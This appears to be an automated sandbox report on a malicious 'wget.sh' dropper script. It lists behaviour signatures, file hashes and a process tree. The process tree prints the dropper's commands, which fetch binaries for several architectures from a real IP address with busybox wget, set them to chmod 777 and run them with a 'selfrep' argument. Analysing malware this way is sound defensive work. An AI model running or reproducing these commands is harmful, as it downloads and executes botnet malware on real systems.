Overview

overview

9

Static

static

1

wget.sh

ubuntu-18.04-amd64

7

wget.sh

debian-9-armhf

9

wget.sh

debian-9-mips

9

wget.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20250619-en
  • resource tags

    arch:armhfimage:debian9-armhf-20250619-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    24/08/2025, 07:18

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    wget.sh
  • Size 1KB
  • Sample250824-h5fdsassfv
  • SHA256 0abde5d125fd13bbac99e365d34027d52792c8e8b8f44ebab1bf7712aed54297
  • MD5 SHA1 SHA512
Score
9/10
credential_accessdefense_evasiondiscovery

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 5 IoCs
  • Renames itself 2 IoCs
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads MAC address of network interface 2 TTPs 1 IoCs

    Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

    defense_evasiondiscovery
  • Reads system routing table 1 TTPs 1 IoCs

    Gets active network interfaces from /proc virtual filesystem.

    discovery
  • Reads process memory 1 TTPs 64 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

    credential_access
  • Changes its process name 2 IoCs
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/wget.sh
    /tmp/wget.sh
    1⤵
    • Executes dropped EXE
    • Reads process memory
    • Writes file to tmp directory
    PID:642
    • /bin/cp
      cp /bin/busybox busybox
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:655
    • /bin/busybox
      busybox wget http://46.23.108.231/arm4 -O-
      2⤵
        PID:661
      • /bin/chmod
        chmod 777 XKJDSA
        2⤵
        • File and Directory Permissions Modification
        PID:670
      • /tmp/XKJDSA
        ./XKJDSA selfrep.wget
        2⤵
        • Renames itself
        • Reads process memory
        • Changes its process name
        • Reads runtime system information
        PID:671
      • /bin/cp
        cp /bin/busybox busybox
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:673
      • /bin/busybox
        busybox wget http://46.23.108.231/arm5 -O-
        2⤵
          PID:676
        • /bin/chmod
          chmod 777 PRTQWE
          2⤵
          • File and Directory Permissions Modification
          PID:678
        • /tmp/PRTQWE
          ./PRTQWE selfrep.wget
          2⤵
            PID:679
          • /bin/cp
            cp /bin/busybox busybox
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:680
          • /bin/busybox
            busybox wget http://46.23.108.231/arm7 -O-
            2⤵
              PID:681
            • /bin/chmod
              chmod 777 AFGHTY
              2⤵
              • File and Directory Permissions Modification
              PID:682
            • /tmp/AFGHTY
              ./AFGHTY selfrep.wget
              2⤵
              • Renames itself
              • Reads MAC address of network interface
              • Reads system routing table
              • Reads process memory
              • Changes its process name
              • Reads system network configuration
              • Reads runtime system information
              PID:683
            • /bin/cp
              cp /bin/busybox busybox
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:685
            • /bin/busybox
              busybox wget http://46.23.108.231/mips -O-
              2⤵
              • System Network Configuration Discovery
              PID:688
            • /bin/chmod
              chmod 777 NVBXUE
              2⤵
              • File and Directory Permissions Modification
              PID:689
            • /tmp/NVBXUE
              ./NVBXUE selfrep.wget
              2⤵
                PID:690
              • /bin/cp
                cp /bin/busybox busybox
                2⤵
                • Writes file to tmp directory
                PID:692
              • /bin/busybox
                busybox wget http://46.23.108.231/mpsl -O-
                2⤵
                  PID:693
                • /bin/chmod
                  chmod 777 WLOPKJ
                  2⤵
                  • File and Directory Permissions Modification
                  PID:694
                • /tmp/WLOPKJ
                  ./WLOPKJ selfrep.wget
                  2⤵
                    PID:695

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      AFGHTY
                      • Path /tmp/AFGHTY
                      • Size 101KB
                      • SHA256 7f9023fdbd0951650d408f62a2eb70dbaadd424d725957ee3d3a7780aa25c853
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      NVBXUE
                      • Path /tmp/NVBXUE
                      • Size 100KB
                      • SHA256 6412011a49cc5f96c04fca7df6a71fa7ed0b9eddaa2eb8703cc8daab646d14b4
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      PRTQWE
                      • Path /tmp/PRTQWE
                      • Size 90KB
                      • SHA256 6490586ab557e772c4ddb5d0bdc469118f5af4997831d32273b2a219ef871791
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      WLOPKJ
                      • Path /tmp/WLOPKJ
                      • Size 166KB
                      • SHA256 f78466c5c04ef666db6d4b80143a769fd186565a3035bfcb19d6a6a92418b2fe
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      XKJDSA
                      • Path /tmp/XKJDSA
                      • Size 85KB
                      • SHA256 3b9fb643ee107c4fdc321425bf8801dae55aa9e5c392b6062e463ec8dde0cb9d
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      busybox
                      • Path /tmp/busybox
                      • Size 507KB
                      • SHA256 2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download